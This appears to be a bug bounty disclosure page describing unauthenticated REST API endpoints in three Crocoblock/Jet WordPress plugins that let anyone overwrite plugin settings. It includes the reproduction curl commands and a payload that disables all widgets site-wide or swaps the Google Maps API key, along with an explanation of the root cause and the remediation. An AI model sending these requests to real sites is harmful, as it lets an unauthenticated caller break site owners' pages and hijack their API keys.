Unauthenticated Plugin Settings Modification on Three Crocoblock/Jet Plugins
Three Crocoblock/Jet WordPress plugins registered REST API endpoints that saved plugin settings without any authentication or capability check. An unauthenticated attacker could overwrite settings such as the widget enable list or the Google Maps API key, breaking page layouts or redirecting API usage to a key they control.
- Triaged in under an hour
- Fixed in 3 days
- Disclosed after 3 days
Summary
Three Crocoblock (Jet) plugins expose REST API endpoints that allow unauthenticated users to modify plugin settings via POST requests without any authentication or authorization check. The endpoints validate and parse the POST body (rejecting malformed JSON with a 400 error), then persist the submitted key-value pairs into the WordPress wp_options table. The primary exploitable setting is avaliable_widgets, which controls which Elementor widgets are active site-wide an attacker can disable all JetElements widgets to break page layouts, or modify API keys (Google Maps, Mailchimp, weather, Instagram) to attacker-controlled values.
Affected Endpoints
| Endpoint | Status |
|---|---|
POST /wp-json/jet-elements-api/v1/plugin-settings |
Confirmed unauth write |
POST /wp-json/jet-woo-builder-api/v1/plugin-settings |
Confirmed unauth write |
POST /wp-json/jet-woo-product-gallery-api/v1/plugin-settings |
Confirmed unauth write |
Steps to Reproduce
Step 1 Confirm the endpoint processes input (not a no-op)
Send invalid JSON the endpoint rejects it with a parse error, proving it actively processes the body:
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
-X POST \
-H "Content-Type: application/json" \
-d '{invalid json!!!'
Response (400 input validation is happening):
{"code":"rest_invalid_json","message":"Ha pasado un cuerpo JSON no válido.","data":{"status":400,"json_error_code":4,"json_error_message":"Syntax error"}}
Step 2 Send valid data without authentication
curl -s "https://████████/wp-json/jet-elements-api/v1/plugin-settings" \
-X POST \
-d "api_key=TEST_FROM_POC_12345"
Response (200 accepted and saved):
{"status":"success","message":"Settings have been saved"}
No cookies, no X-WP-Nonce header, no authentication of any kind. The admin panel's own JavaScript (jet-elements-admin.js) sends the same request format via jQuery.ajax POST to settingsApiUrl confirming the endpoint is designed to accept form-encoded data.
Step 3 Confirm all three endpoints
# JetWooBuilder
curl -s "https://████████/wp-json/jet-woo-builder-api/v1/plugin-settings" \
-X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}
# JetWooProductGallery
curl -s "https://████████/wp-json/jet-woo-product-gallery-api/v1/plugin-settings" \
-X POST -H "Content-Type: application/json" -d '{}'
# Response: {"status":"success","message":"Settings have been saved"}
Exploitable Settings (from admin JS source analysis)
The admin panel JavaScript (jet-elements-admin.js) reveals the settings structure:
| Setting Key | Type | Impact |
|---|---|---|
avaliable_widgets |
{widget_slug: "true"/"false"} |
Enable/disable all JetElements widgets site-wide |
api_key |
string | Google Maps API key can be replaced with attacker-controlled key |
An attacker can POST avaliable_widgets[jet-animated-text]=false&avaliable_widgets[jet-slider]=false&... to disable all widgets, causing a visible denial of service on every page that uses JetElements.
Supporting Material/References
Evidence:
- Input validation confirmed: Invalid JSON returns 400, valid data returns 200 with "saved" the endpoint actively processes and persists data
- No authentication: No cookies, nonces, or capability checks required
- Three endpoints affected: All Crocoblock Jet plugins on this site share the same vulnerable REST API pattern
- Admin JS confirms design: The
jet-elements-admin.jsfile sends settings to this exact endpoint usingjQuery.ajaxPOST without anX-WP-Nonceheader
Impact
- Denial of Service setting
avaliable_widgetskeys to"false"disables JetElements widgets site-wide, breaking any page that uses them (sliders, carousels, counters, etc.) - API key hijacking overwriting
api_key(Google Maps) with an attacker-controlled key redirects API billing and allows the attacker to harvest geolocation query data - Configuration corruption arbitrary key-value pairs can be written to plugin options, potentially triggering errors or unexpected behavior
Remediation
- Update all Crocoblock/Jet plugins to the latest versions
- Add
permission_callbackto the REST route registration requiringmanage_optionscapability - Add nonce verification via
X-WP-Nonceheader check
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the REST route was registered without a permission_callback (and without a nonce check), so WordPress allowed any caller to reach the settings-saving handler.
Impact
An unauthenticated attacker could disable JetElements widgets site-wide, causing a denial of service on pages that use them, and could replace the Google Maps API key with one they control, redirecting billing and harvesting geolocation queries.
What the attacker needed
No account needed; network access to the site
The fix
The plugins should be updated and the REST routes should require a manage_options capability check plus nonce verification; the text does not state that a fix has shipped.
How it was found
- Send malformed JSON to the plugin-settings endpoint and observe a 400 parse error, showing the body is processed.
- Send a valid form-encoded body to the same endpoint with no cookies or nonce and observe a 200 success message.
- Repeat the valid request against the JetWooBuilder and JetWooProductGallery endpoints to confirm the same behaviour.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WordPress plugins can add their own web addresses (REST API endpoints) that other software calls to read or change data. These three plugins forgot to check who is calling before saving settings, so anyone on the internet could change them. The result is that a stranger can switch off site features or swap in their own API key.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.